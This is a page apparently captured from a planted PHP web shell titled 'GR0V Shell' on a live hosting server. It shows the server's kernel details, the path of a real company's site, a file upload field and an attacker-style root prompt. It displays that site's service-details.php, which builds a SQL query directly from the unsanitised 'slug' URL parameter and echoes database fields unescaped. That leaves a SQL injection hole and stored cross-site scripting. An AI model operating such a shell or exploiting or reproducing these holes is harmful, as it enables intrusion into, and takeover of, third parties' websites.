? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/keywordadvertisingindia.com/public_html/
File Upload :
Current File : /home/u949514618/domains/keywordadvertisingindia.com/public_html/service-details.php

<?php
include 'backone/db.php';

if (!isset($_GET['slug']) || empty($_GET['slug'])) {
  echo "<h2>Service not found.</h2>";
  exit;
}

$slug = $_GET['slug'];

// Fetch post
$sql = $conn->query("SELECT * FROM services 
                     WHERE slug = '$slug' AND status='1' LIMIT 1");

if ($sql->num_rows == 0) {
  echo "<h2>Service not found.</h2>";
  exit;
}

$post = $sql->fetch_assoc();

?>
<!doctype html>
<html class="no-js" lang="en-us">

<head>
   <meta http-equiv="content-language" content="en-us">
   <meta http-equiv="content-type" content="text/html;charset=UTF-8">
   <meta http-equiv="x-ua-compatible" content="ie=edge">
   <title><?php echo $post['meta_title']; ?> </title>
   <meta name="description" content="<?php echo $post['meta_description']; ?>">
   <meta name="keywords" content="<?php echo $post['keywords']; ?>">
   <meta property="og:title" content="<?php echo $post['meta_title']; ?>">
	<meta property="og:site_name" content="Keyword King Advertising India">
	<meta property="og:url" content="https://www.keywordadvertisingindia.com/service-details.php?slug=<?= $post['slug']; ?>">
	<meta property="og:description" content="<?php echo $post['meta_description']; ?>">
	<meta property="og:type" content="website">
	<meta property="og:image" content="https://keywordadvertisingindia.com/backone/uploads/<?php echo $post['image']; ?>">
	<link rel="alternate" hreflang="en-us" href="https://www.keywordadvertisingindia.com/service-details.php?slug=<?= $post['slug']; ?>">
	<link rel="canonical" href="https://www.keywordadvertisingindia.com/service-details.php?slug=<?= $post['slug']; ?>">
   <meta name="viewport" content="width=device-width, initial-scale=1">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="3 days">

   <!-- Place favicon.ico in the root directory -->
   <link rel="shortcut icon" type="image/x-icon" href="assets/img/favicon.png">

   <!-- CSS here -->
   <link rel="stylesheet" href="assets/css/bootstrap.css">
   <link rel="stylesheet" href="assets/css/meanmenu.css">
   <link rel="stylesheet" href="assets/css/animate.css">
   <link rel="stylesheet" href="assets/css/swiper-bundle.css">
   <link rel="stylesheet" href="assets/css/magnific-popup.css">
   <link rel="stylesheet" href="assets/css/nice-select.css">
   <link rel="stylesheet" href="assets/css/font-awesome-pro.css">
   <link rel="stylesheet" href="assets/css/flaticon.css">
   <link rel="stylesheet" href="assets/css/spacing.css">
   <link rel="stylesheet" href="assets/css/main.css">
</head>
<body>
   <!--[if lte IE 9]>
      <p class="browserupgrade">You are using an <strong>outdated</strong> browser. Please <a href="https://browsehappy.com/">upgrade your browser</a> to improve your experience and security.</p>
      <![endif]-->

   <!-- back to top start -->
   <button class="tp-backtotop">
      <span><i class="fa-thin fa-chevrons-up"></i></span>
   </button>
   <!-- back to top end -->

   <!-- header area start -->

   <?php include_once('includes/header.php'); ?>


   <!-- offcanvas area start -->
   <?php include_once('includes/offcanvas.php'); ?>

   <div class="body-overlay"></div>
   <!-- offcanvas area end -->
   <main>
      <!-- breadcrumb area start -->

      <section class="breadcrumb__area include-bg breadcrumb__area breadcrumb__space"
         data-background="backone/uploads/<?php echo $post['header_image']; ?>">
         <div class="container">
            <div class="row">
               <div class="col-xxl-12">
                  <div class="breadcrumb__content text-center p-relative z-index-1">
                     <h3 class="breadcrumb__title"><?= $post['title']; ?></h3>
                     <div class="breadcrumb__list">
                        <span><a href="index.php">Home</a></span>
                        <span class="dvdr"><i class="fa-regular fa-angle-right"></i></span>
                        <span><?= $post['title']; ?></span>
                     </div>
                  </div>
               </div>
            </div>
         </div>
      </section>
      <!-- breadcrumb area end -->

      <!-- about area start -->
      <div class="tp-about__section-2 pt-40">
         <div class="container">
            <div class="row align-items-center">
               <div class="col-lg-6">
                  <div class="tp-about__left-2 wow tpfadeRight">
                     <div class="tp-about__img-2 mb-30">
                        <img src="backone/uploads/<?php echo $post['image']; ?>" alt="<?php echo $post['title']; ?>" class="img-fluid">
                        
                        <div class="tp-about__circle">
                           <img src="assets/img/icon/01.png" alt="">
                        </div>
                     </div>
                  </div>
               </div>
               <div class="col-lg-6">
                  <div class="tp-about__right-2 pl-20 mb-30 wow tpfadeLeft">
                     <div class="tp-section__title-wrapper">
                        <h3 class="tp-section__title-lg mb-25"><?php echo $post['title']; ?> </h3>
                        <?php echo $post['description']; ?>
                        

                     </div>
                  </div>
               </div>
            </div>
         </div>
      </div>
      <!-- about area end -->

      <!-- tp service area start -->
       <div class="tp-service__section-2 pt-40 pb-30">
         <div class="container">
            <div class="row">
                <h4>Let's View our works</h4>
               <?php
                $query = $conn->query("SELECT * FROM service_images where service_id='{$post['id']}' ORDER BY id DESC");

                

                while ($row = $query->fetch_assoc()) { ?>
               <div class="col-xl-4 col-lg-4 col-md-6">
                        <span><img src="backone/uploads/<?php echo $row['image']; ?>" alt="<?=$post['title']; ?>" class="img-fluid"></span>
               </div>
               <?php } ?>
            </div>
         </div>
      </div>
      <!-- tp service area end  -->
      
   </main>

   <!-- footer start -->
   <?php include_once('includes/footer.php'); ?>
   <!-- footer end  -->


   <!-- JS here -->
   <script src="assets/js/vendor/jquery.js"></script>
   <script src="assets/js/vendor/waypoints.js"></script>
   <script src="assets/js/bootstrap-bundle.js"></script>
   <script src="assets/js/meanmenu.js"></script>
   <script src="assets/js/swiper-bundle.js"></script>
   <script src="assets/js/magnific-popup.js"></script>
   <script src="assets/js/parallax.js"></script>
   <script src="assets/js/nice-select.js"></script>
   <script src="assets/js/counterup.js"></script>
   <script src="assets/js/wow.js"></script>
   <script src="assets/js/isotope-pkgd.js"></script>
   <script src="assets/js/imagesloaded-pkgd.js"></script>
   <script src="assets/js/ajax-form.js"></script>
   <script src="assets/js/main.js"></script>

</body>

</html>

T1KUS90T
  root-grov@89.117.188.241:~$